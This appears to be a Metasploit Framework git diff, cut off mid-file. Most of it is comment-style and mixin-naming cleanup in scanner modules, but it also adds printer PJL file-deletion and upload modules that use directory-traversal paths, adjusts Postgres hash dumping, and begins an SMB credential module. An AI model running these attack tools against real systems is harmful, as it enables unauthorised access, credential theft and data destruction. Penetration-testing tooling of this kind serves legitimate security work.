mssql_query("SELECT name,id FROM #{db_name}..sysobjects WHERE xtype = 'U'")[:rows] return results diff --git a/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb b/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb index 76d0388728..bcb1234c20 100644 --- a/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ 'theLightCosine', # Original hashdump module - 'jcran' # Authentication bypass bruteforce implementation + 'jcran' # Authentication bypass bruteforce implementation ], 'References' => [ ['CVE', '2012-2122'], diff --git a/modules/auxiliary/scanner/mysql/mysql_login.rb b/modules/auxiliary/scanner/mysql/mysql_login.rb index 0314ea87d6..b7bad07431 100644 --- a/modules/auxiliary/scanner/mysql/mysql_login.rb +++ b/modules/auxiliary/scanner/mysql/mysql_login.rb @@ -18,11 +18,11 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'MySQL Login Utility', + 'Name' => 'MySQL Login Utility', 'Description' => 'This module simply queries the MySQL instance for a specific user/pass (default is root with blank).', 'Author' => [ 'Bernardo Damele A. G. ' ], 'License' => MSF_LICENSE, - 'References' => + 'References' => [ [ 'CVE', '1999-0502'] # Weak password ] @@ -64,6 +64,8 @@ class Metasploit3 < Msf::Auxiliary connection_timeout: 30, max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/mysql/mysql_schemadump.rb b/modules/auxiliary/scanner/mysql/mysql_schemadump.rb index 6961010695..ede601b57e 100644 --- a/modules/auxiliary/scanner/mysql/mysql_schemadump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_schemadump.rb @@ -98,7 +98,7 @@ class Metasploit3 < Msf::Auxiliary return mysql_schema end - #Gets all of the Tables names inside the given Database + # Gets all of the Tables names inside the given Database def get_tbl_names(dbname) tables=[] diff --git a/modules/auxiliary/scanner/nfs/nfsmount.rb b/modules/auxiliary/scanner/nfs/nfsmount.rb index c1c1576037..fd2aee0706 100644 --- a/modules/auxiliary/scanner/nfs/nfsmount.rb +++ b/modules/auxiliary/scanner/nfs/nfsmount.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary This module scans NFS mounts and their permissions. }, 'Author' => [''], - 'References' => + 'References' => [ ['CVE', '1999-0170'], ['URL', 'http://www.ietf.org/rfc/rfc1094.txt'] @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary resp = sunrpc_call(procedure, "") # XXX: Assume that transport is udp and port is 2049 - # Technically we are talking to mountd not nfsd + # Technically we are talking to mountd not nfsd report_service( :host => ip, diff --git a/modules/auxiliary/scanner/ntp/ntp_monlist.rb b/modules/auxiliary/scanner/ntp/ntp_monlist.rb index 448edb35aa..ba17c40926 100644 --- a/modules/auxiliary/scanner/ntp/ntp_monlist.rb +++ b/modules/auxiliary/scanner/ntp/ntp_monlist.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end -# Called for each response packet + # Called for each response packet def scanner_process(data, shost, sport) @results[shost] ||= { messages: [], peers: [] } @results[shost][:messages] << Rex::Proto::NTP::NTPPrivate.new(data) @@ -148,14 +148,14 @@ class Metasploit3 < Msf::Auxiliary idx = 0 peer_tuples = [] 1.upto(pcnt) do - #u_int32 firsttime; /* first time we received a packet */ - #u_int32 lasttime; /* last packet from this host */ - #u_int32 restr; /* restrict bits (was named lastdrop) */ - #u_int32 count; /* count of packets received */ - #u_int32 addr; /* host address V4 style */ - #u_int32 daddr; /* destination host address */ - #u_int32 flags; /* flags about destination */ - #u_short port; /* port number of last reception */ + # u_int32 firsttime; /* first time we received a packet */ + # u_int32 lasttime; /* last packet from this host */ + # u_int32 restr; /* restrict bits (was named lastdrop) */ + # u_int32 count; /* count of packets received */ + # u_int32 addr; /* host address V4 style */ + # u_int32 daddr; /* destination host address */ + # u_int32 flags; /* flags about destination */ + # u_short port; /* port number of last reception */ _,_,_,_,saddr,daddr,_,dport = data[idx, 30].unpack("NNNNNNNn") diff --git a/modules/auxiliary/scanner/oracle/oracle_hashdump.rb b/modules/auxiliary/scanner/oracle/oracle_hashdump.rb index 6f87a37847..c3a0442d33 100644 --- a/modules/auxiliary/scanner/oracle/oracle_hashdump.rb +++ b/modules/auxiliary/scanner/oracle/oracle_hashdump.rb @@ -28,8 +28,8 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) return if not check_dependencies - #Checks for Version of Oracle, 8g-10g all behave one way, while 11g behaves differently - #Also, 11g uses SHA-1 while 8g-10g use DES + # Checks for Version of Oracle, 8g-10g all behave one way, while 11g behaves differently + # Also, 11g uses SHA-1 while 8g-10g use DES is_11g=false query = 'select * from v$version' ver = prepare_exec(query) @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Auxiliary 'Columns' => ['Username', 'Hash'] ) - #Get the usernames and hashes for 8g-10g + # Get the usernames and hashes for 8g-10g begin if is_11g==false query='SELECT name, password FROM sys.user$ where password is not null and name<> \'ANONYMOUS\'' @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Auxiliary tbl << row end end - #Get the usernames and hashes for 11g + # Get the usernames and hashes for 11g else query='SELECT name, spare4 FROM sys.user$ where password is not null and name<> \'ANONYMOUS\'' results= prepare_exec(query) @@ -97,8 +97,8 @@ class Metasploit3 < Msf::Auxiliary def report_hashes(table, is_11g, ip, service) - #reports the hashes slightly differently depending on the version - #This is so that we know which are which when we go to crack them + # Reports the hashes slightly differently depending on the version + # This is so that we know which are which when we go to crack them if is_11g==false jtr_format = "des" else diff --git a/modules/auxiliary/scanner/oracle/sid_brute.rb b/modules/auxiliary/scanner/oracle/sid_brute.rb index 99c9f4ab08..4e52557fc3 100644 --- a/modules/auxiliary/scanner/oracle/sid_brute.rb +++ b/modules/auxiliary/scanner/oracle/sid_brute.rb @@ -92,7 +92,7 @@ class Metasploit3 < Msf::Auxiliary end end - # Based vaugely on each_user_pass in AuthBrute + # Based vaguely on each_user_pass in AuthBrute def each_sid(&block) @@oracle_sid_fail = [] @@oracle_sid_success = [] diff --git a/modules/auxiliary/scanner/oracle/tnspoison_checker.rb b/modules/auxiliary/scanner/oracle/tnspoison_checker.rb index 809904903f..847ed10f9e 100644 --- a/modules/auxiliary/scanner/oracle/tnspoison_checker.rb +++ b/modules/auxiliary/scanner/oracle/tnspoison_checker.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary packet = sock.read(100) find_packet = packet.include? "(ERROR_STACK=(ERROR=" find_packet == true ? print_error("#{ip}:#{rport} is not vulnerable ") : print_good("#{ip}:#{rport} is vulnerable") - #TODO: Module should report_vuln if this finding is solid. + # TODO: Module should report_vuln if this finding is solid. rescue ::Rex::ConnectionError, ::Errno::EPIPE print_error("#{ip}:#{rport} unable to connect to the server") end diff --git a/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb b/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb index 020e306af0..8fe5687b47 100644 --- a/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb +++ b/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb @@ -176,7 +176,7 @@ class Metasploit3 < Msf::Auxiliary end end - #database links + # database links res = send_request_raw({ 'uri' => '/oradb/PUBLIC/ALL_DB_LINKS', 'version' => '1.1', diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb index c5f9bdc46e..ff494943aa 100644 --- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb +++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_login.rb @@ -74,19 +74,19 @@ class Metasploit3 < Msf::Auxiliary end def do_login(user, pass, nsock=self.sock) - #Check if we are already at a logon prompt + # Check if we are already at a logon prompt res = nsock.get_once(-1,5) euser = encryption_header(encrypt(user)) nsock.put(euser) res = nsock.get_once(-1,5) - #See if this knocked a login prompt loose + # See if this knocked a login prompt loose if pca_at_login?(res) nsock.put(euser) res = nsock.get_once(-1,5) end - #Check if we are now at the password prompt + # Check if we are now at the password prompt unless res and res.include? "Enter password" print_error "Problem Sending Login: #{res.inspect}" return :abort diff --git a/modules/auxiliary/scanner/pop3/pop3_login.rb b/modules/auxiliary/scanner/pop3/pop3_login.rb index b19a89128c..f2b3d830af 100644 --- a/modules/auxiliary/scanner/pop3/pop3_login.rb +++ b/modules/auxiliary/scanner/pop3/pop3_login.rb @@ -74,6 +74,8 @@ class Metasploit3 < Msf::Auxiliary bruteforce_speed: datastore['BRUTEFORCE_SPEED'], max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/pop3/pop3_version.rb b/modules/auxiliary/scanner/pop3/pop3_version.rb index 754f5218b2..a6a232972b 100644 --- a/modules/auxiliary/scanner/pop3/pop3_version.rb +++ b/modules/auxiliary/scanner/pop3/pop3_version.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) begin - res = connect + res = connect banner = sock.get_once(-1, 30) banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s) print_status("#{ip}:#{rport} POP3 #{banner_sanitized}") diff --git a/modules/auxiliary/scanner/portscan/xmas.rb b/modules/auxiliary/scanner/portscan/xmas.rb index 642f507265..cec2214f64 100644 --- a/modules/auxiliary/scanner/portscan/xmas.rb +++ b/modules/auxiliary/scanner/portscan/xmas.rb @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Auxiliary print_status(" TCP OPEN|FILTERED #{dhost}:#{dport}") - #Add Report + # Add Report report_note( :host => dhost, :proto => 'tcp', diff --git a/modules/auxiliary/scanner/postgres/postgres_hashdump.rb b/modules/auxiliary/scanner/postgres/postgres_hashdump.rb index d4e96ad630..a4c3066cfb 100644 --- a/modules/auxiliary/scanner/postgres/postgres_hashdump.rb +++ b/modules/auxiliary/scanner/postgres/postgres_hashdump.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) - #Query the Postgres Shadow table for username and password hashes and report them + # Query the Postgres Shadow table for username and password hashes and report them res = postgres_query('SELECT usename, passwd FROM pg_shadow',false) service_data = { @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Auxiliary credential_data.merge!(service_data) - #Error handling routine here, borrowed heavily from todb + # Error handling routine here, borrowed heavily from todb case res.keys[0] when :conn_error print_error("A Connection Error occured") @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Auxiliary origin_type: :service, jtr_format: 'raw-md5,postgres', module_fullname: self.fullname, - private_type: :nonreplayable_hash + private_type: :postgres_md5 } credential_data.merge!(service_data) @@ -122,7 +122,6 @@ class Metasploit3 < Msf::Auxiliary next if row[0].nil? or row[1].nil? next if row[0].empty? or row[1].empty? password = row[1] - password.slice!(0,3) credential_data[:username] = row[0] credential_data[:private_data] = password diff --git a/modules/auxiliary/scanner/postgres/postgres_login.rb b/modules/auxiliary/scanner/postgres/postgres_login.rb index 24e10c2915..9c2d96dc71 100644 --- a/modules/auxiliary/scanner/postgres/postgres_login.rb +++ b/modules/auxiliary/scanner/postgres/postgres_login.rb @@ -21,14 +21,16 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module attempts to authenticate against a PostgreSQL instance using username and password combinations indicated - by the USER_FILE, PASS_FILE, and USERPASS_FILE options. + by the USER_FILE, PASS_FILE, and USERPASS_FILE options. Note that + passwords may be either plaintext or MD5 formatted hashes. }, 'Author' => [ 'todb' ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.postgresql.org' ], - [ 'CVE', '1999-0502'] # Weak password + [ 'CVE', '1999-0502'], # Weak password + [ 'URL', 'https://hashcat.net/forum/archive/index.php?thread-4148.html' ] # Pass the Hash ] )) @@ -70,7 +72,9 @@ class Metasploit3 < Msf::Auxiliary cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 30 + connection_timeout: 30, + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/postgres/postgres_schemadump.rb b/modules/auxiliary/scanner/postgres/postgres_schemadump.rb index bd5b42387b..b42313a194 100644 --- a/modules/auxiliary/scanner/postgres/postgres_schemadump.rb +++ b/modules/auxiliary/scanner/postgres/postgres_schemadump.rb @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Auxiliary def smart_query(query_string) res = postgres_query(query_string,false) - #Error handling routine here, borrowed heavily from todb + # Error handling routine here, borrowed heavily from todb case res.keys[0] when :conn_error print_error("A Connection Error occured") diff --git a/modules/auxiliary/scanner/postgres/postgres_version.rb b/modules/auxiliary/scanner/postgres/postgres_version.rb index 9a88580f19..50ce748fc4 100644 --- a/modules/auxiliary/scanner/postgres/postgres_version.rb +++ b/modules/auxiliary/scanner/postgres/postgres_version.rb @@ -71,7 +71,6 @@ class Metasploit3 < Msf::Auxiliary end # Reporting - report_service( :host => rhost, :port => rport, @@ -102,7 +101,6 @@ class Metasploit3 < Msf::Auxiliary end # Logout - postgres_logout rescue Rex::ConnectionError diff --git a/modules/auxiliary/scanner/printer/printer_delete_file.rb b/modules/auxiliary/scanner/printer/printer_delete_file.rb new file mode 100644 index 0000000000..4b561b4877 --- /dev/null +++ b/modules/auxiliary/scanner/printer/printer_delete_file.rb @@ -0,0 +1,58 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require "msf/core" +require "rex/proto/pjl" + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + "Name" => "Printer File Deletion Scanner", + "Description" => %q{ + This module deletes a file on a set of printers using the + Printer Job Language (PJL) protocol. + }, + "Author" => [ + "wvu", # Rex::Proto::PJL and modules + "sinn3r", # RSpec tests + "MC", # Independent mixin and modules + "Myo Soe", # Independent modules + "Matteo Cantoni " # Independent modules + ], + "References" => [ + ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] + ], + "License" => MSF_LICENSE + )) + + register_options([ + Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT), + OptString.new("PATH", [true, "Remote path", '0:\..\..\..\eicar.com']) + ], self.class) + end + + def run_host(ip) + path = datastore["PATH"] + + connect + pjl = Rex::Proto::PJL::Client.new(sock) + pjl.begin_job + + pjl.fsinit(path[0..1]) + + if pjl.fsdelete(path) + print_good("#{ip}:#{rport} - Deleted #{path}") + end + + pjl.end_job + disconnect + end + +end diff --git a/modules/auxiliary/scanner/printer/printer_download_file.rb b/modules/auxiliary/scanner/printer/printer_download_file.rb index 4c8b0e4e60..64c04d999d 100644 --- a/modules/auxiliary/scanner/printer/printer_download_file.rb +++ b/modules/auxiliary/scanner/printer/printer_download_file.rb @@ -34,19 +34,19 @@ class Metasploit4 < Msf::Auxiliary register_options([ Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT), - OptString.new("PATHNAME", [true, "Pathname", '0:\..\..\..\etc\passwd']) + OptString.new("PATH", [true, "Remote path", '0:\..\..\..\etc\passwd']) ], self.class) end def run_host(ip) - pathname = datastore["PATHNAME"] + path = datastore["PATH"] connect pjl = Rex::Proto::PJL::Client.new(sock) pjl.begin_job - pjl.fsinit(pathname[0..1]) - file = pjl.fsupload(pathname) + pjl.fsinit(path[0..1]) + file = pjl.fsupload(path) pjl.end_job disconnect @@ -57,10 +57,10 @@ class Metasploit4 < Msf::Auxiliary "application/octet-stream", ip, file, - pathname, + path, "Printer file" ) - print_good("#{ip}:#{rport} - Saved #{pathname} as #{res}") + print_good("#{ip}:#{rport} - Saved #{path} as #{res}") end end diff --git a/modules/auxiliary/scanner/printer/printer_list_dir.rb b/modules/auxiliary/scanner/printer/printer_list_dir.rb index eb5ed4dc7c..49f70ec717 100644 --- a/modules/auxiliary/scanner/printer/printer_list_dir.rb +++ b/modules/auxiliary/scanner/printer/printer_list_dir.rb @@ -34,19 +34,19 @@ class Metasploit4 < Msf::Auxiliary register_options([ Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT), - OptString.new("PATHNAME", [true, "Pathname", '0:\..\..\..']) + OptString.new("PATH", [true, "Remote path", '0:\..\..\..']) ], self.class) end def run_host(ip) - pathname = datastore["PATHNAME"] + path = datastore["PATH"] connect pjl = Rex::Proto::PJL::Client.new(sock) pjl.begin_job - pjl.fsinit(pathname[0..1]) - listing = pjl.fsdirlist(pathname) + pjl.fsinit(path[0..1]) + listing = pjl.fsdirlist(path) pjl.end_job disconnect diff --git a/modules/auxiliary/scanner/printer/printer_upload_file.rb b/modules/auxiliary/scanner/printer/printer_upload_file.rb new file mode 100644 index 0000000000..3f0fe0229e --- /dev/null +++ b/modules/auxiliary/scanner/printer/printer_upload_file.rb @@ -0,0 +1,61 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require "msf/core" +require "rex/proto/pjl" + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + "Name" => "Printer File Upload Scanner", + "Description" => %q{ + This module uploads a file to a set of printers using the + Printer Job Language (PJL) protocol. + }, + "Author" => [ + "wvu", # Rex::Proto::PJL and modules + "sinn3r", # RSpec tests + "MC", # Independent mixin and modules + "Myo Soe", # Independent modules + "Matteo Cantoni " # Independent modules + ], + "References" => [ + ["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"] + ], + "License" => MSF_LICENSE + )) + + register_options([ + Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT), + OptPath.new("LPATH", [true, "Local path", + File.join(Msf::Config.data_directory, "eicar.com")]), + OptString.new("RPATH", [true, "Remote path", '0:\..\..\..\eicar.com']) + ], self.class) + end + + def run_host(ip) + lpath = datastore["LPATH"] + rpath = datastore["RPATH"] + + connect + pjl = Rex::Proto::PJL::Client.new(sock) + pjl.begin_job + + pjl.fsinit(rpath[0..1]) + + if pjl.fsdownload(lpath, rpath) + print_good("#{rhost}:#{rport} - Saved #{lpath} to #{rpath}") + end + + pjl.end_job + disconnect + end + +end diff --git a/modules/auxiliary/scanner/rservices/rexec_login.rb b/modules/auxiliary/scanner/rservices/rexec_login.rb index 62cd727715..f2a93ecf5a 100644 --- a/modules/auxiliary/scanner/rservices/rexec_login.rb +++ b/modules/auxiliary/scanner/rservices/rexec_login.rb @@ -108,8 +108,8 @@ class Metasploit3 < Msf::Auxiliary # For debugging only. #rescue ::Exception - # print_error("#{$!}") - # return :abort + # print_error("#{$!}") + #return :abort ensure disconnect() diff --git a/modules/auxiliary/scanner/scada/modbusdetect.rb b/modules/auxiliary/scanner/scada/modbusdetect.rb index 2006bf8c04..7740955785 100644 --- a/modules/auxiliary/scanner/scada/modbusdetect.rb +++ b/modules/auxiliary/scanner/scada/modbusdetect.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - #read input register=func:04, register 1 + # read input register=func:04, register 1 sploit="\x21\x00\x00\x00\x00\x06\x01\x04\x00\x01\x00\x00" sploit[6] = [datastore['UNIT_ID']].pack("C") connect() diff --git a/modules/auxiliary/scanner/sip/enumerator.rb b/modules/auxiliary/scanner/sip/enumerator.rb index be7552852f..dc9bcb0b3a 100644 --- a/modules/auxiliary/scanner/sip/enumerator.rb +++ b/modules/auxiliary/scanner/sip/enumerator.rb @@ -133,7 +133,7 @@ class Metasploit3 < Msf::Auxiliary case resp.to_i when 401 print_status("Found user: #{testn} [Auth]") - #Add Report + # Add Report report_note( :host => rhost, :proto => 'udp', diff --git a/modules/auxiliary/scanner/sip/enumerator_tcp.rb b/modules/auxiliary/scanner/sip/enumerator_tcp.rb index fc800f72eb..134cf2a2b1 100644 --- a/modules/auxiliary/scanner/sip/enumerator_tcp.rb +++ b/modules/auxiliary/scanner/sip/enumerator_tcp.rb @@ -87,7 +87,7 @@ class Metasploit3 < Msf::Auxiliary case resp when /^401/ print_status("Found user: #{testn} [Auth]") - #Add Report + # Add Report report_note( :host => rhost, :proto => 'sip', @@ -97,7 +97,7 @@ class Metasploit3 < Msf::Auxiliary ) when /^200/ print_status("Found user: #{testn} [Open]") - #Add Report + # Add Report report_note( :host => rhost, :proto => 'sip', diff --git a/modules/auxiliary/scanner/smb/pipe_auditor.rb b/modules/auxiliary/scanner/smb/pipe_auditor.rb index e7d85feaaa..67304ca6ba 100644 --- a/modules/auxiliary/scanner/smb/pipe_auditor.rb +++ b/modules/auxiliary/scanner/smb/pipe_auditor.rb @@ -10,8 +10,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated # Scanner mixin should be near last include Msf::Auxiliary::Scanner @@ -72,10 +72,10 @@ class Metasploit3 < Msf::Auxiliary @@target_pipes.each do |pipe| begin fid = smb_create("\\#{pipe}") - # print_status("Opened pipe \\#{pipe}") + #print_status("Opened pipe \\#{pipe}") pass.push(pipe) rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e - # print_error("Could not open \\#{pipe}: Error 0x%.8x" % e.error_code) + #print_error("Could not open \\#{pipe}: Error 0x%.8x" % e.error_code) end end @@ -83,14 +83,14 @@ class Metasploit3 < Msf::Auxiliary break rescue ::Exception => e - # print_line($!.to_s) - # print_line($!.backtrace.join("\n")) + #print_line($!.to_s) + #print_line($!.backtrace.join("\n")) end end if(pass.length > 0) print_status("#{ip} - Pipes: #{pass.map{|c| "\\#{c}"}.join(", ")}") - #Add Report + # Add Report report_note( :host => ip, :proto => 'tcp', diff --git a/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb b/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb index fe272d4f3d..b7c68054c6 100644 --- a/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb +++ b/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb @@ -10,8 +10,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::DCERPC # Scanner mixin should be near last @@ -275,7 +275,7 @@ class Metasploit3 < Msf::Auxiliary begin dcerpc_bind(handle) print_line("#{ip} - UUID #{uuid[0]} #{uuid[1]} OPEN VIA #{datastore['SMBPIPE']}") - #Add Report + # Add Report report_note( :host => ip, :proto => 'tcp', @@ -285,9 +285,9 @@ class Metasploit3 < Msf::Auxiliary :data => "UUID #{uuid[0]} #{uuid[1]} OPEN VIA #{datastore['SMBPIPE']}" ) rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e - # print_line("UUID #{uuid[0]} #{uuid[1]} ERROR 0x%.8x" % e.error_code) + #print_line("UUID #{uuid[0]} #{uuid[1]} ERROR 0x%.8x" % e.error_code) rescue ::Exception => e - # print_line("UUID #{uuid[0]} #{uuid[1]} ERROR #{$!}") + #print_line("UUID #{uuid[0]} #{uuid[1]} ERROR #{$!}") end end diff --git a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb index cecd4833cc..5929b84dbf 100644 --- a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb +++ b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB::Psexec + include Msf::Exploit::Remote::SMB::Client::Psexec include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Auxiliary text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt" smbshare = datastore['SMBSHARE'] - #Try and authenticate with given credentials + # Try and authenticate with given credentials begin connect smb_login diff --git a/modules/auxiliary/scanner/smb/smb2.rb b/modules/auxiliary/scanner/smb/smb2.rb index b80b598f28..d145bd5b26 100644 --- a/modules/auxiliary/scanner/smb/smb2.rb +++ b/modules/auxiliary/scanner/smb/smb2.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary btime = Rex::Proto::SMB::Utils.time_smb_to_unix(*(res[116,8].unpack("VV").reverse)) utime = ctime - btime print_status("#{ip} supports SMB 2 [dialect #{vers}] and has been online for #{utime/3600} hours") - #Add Report + # Add Report report_note( :host => ip, :proto => 'tcp', @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary ) else print_status("#{ip} supports SMB 2.0") - #Add Report + # Add Report report_note( :host => ip, :proto => 'tcp', diff --git a/modules/auxiliary/scanner/smb/smb_enumshares.rb b/modules/auxiliary/scanner/smb/smb_enumshares.rb index da13a91f6d..e4118ded74 100644 --- a/modules/auxiliary/scanner/smb/smb_enumshares.rb +++ b/modules/auxiliary/scanner/smb/smb_enumshares.rb @@ -9,8 +9,8 @@ require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::DCERPC # Scanner mixin should be near last @@ -245,7 +245,7 @@ class Metasploit3 < Msf::Auxiliary if win_error != 0 raise "DCE/RPC error : Win_error = #{win_error + 0}" end - #remove some uneeded data + # remove some uneeded data res.slice!(0,12) # level, CTR header, Reference ID of CTR share_count = res.slice!(0, 4).unpack("V")[0] res.slice!(0,4) # Reference ID of CTR1 diff --git a/modules/auxiliary/scanner/smb/smb_enumusers.rb b/modules/auxiliary/scanner/smb/smb_enumusers.rb index 4f06379e47..3238c66dfc 100644 --- a/modules/auxiliary/scanner/smb/smb_enumusers.rb +++ b/modules/auxiliary/scanner/smb/smb_enumusers.rb @@ -10,8 +10,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::DCERPC diff --git a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb index 3726abe538..5e4ed8e97d 100644 --- a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb +++ b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb @@ -10,8 +10,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::DCERPC # Scanner mixin should be near last diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb index c4c380f354..257a28b7fe 100644 --- a/modules/auxiliary/scanner/smb/smb_login.rb +++ b/modules/auxiliary/scanner/smb/smb_login.rb @@ -10,8 +10,8 @@ require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -77,6 +77,8 @@ class Metasploit3 < Msf::Auxiliary connection_timeout: 5, max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, ) bogus_result = @scanner.attempt_bogus_login(domain) diff --git a/modules/auxiliary/scanner/smb/smb_lookupsid.rb b/modules/auxiliary/scanner/smb/smb_lookupsid.rb index 20bf9ae419..eddfc7c841 100644 --- a/modules/auxiliary/scanner/smb/smb_lookupsid.rb +++ b/modules/auxiliary/scanner/smb/smb_lookupsid.rb @@ -10,8 +10,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::DCERPC diff --git a/modules/auxiliary/scanner/smb/smb_uninit_cred.rb b/modules/auxiliary/scanner/smb/smb_uninit_cred.rb new file mode 100644 index 0000000000..abed2f4c4f --- /dev/null +++ b/modules/auxiliary/scanner/smb/smb_uninit_cred.rb @@ -0,0 +1,269 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Auxiliary + + # Exploit mixins should be called first + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated + + # Scanner mixin should be near last + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + # Aliases for common classes + SIMPLE = Rex::Proto::SMB::SimpleClient + XCEPT 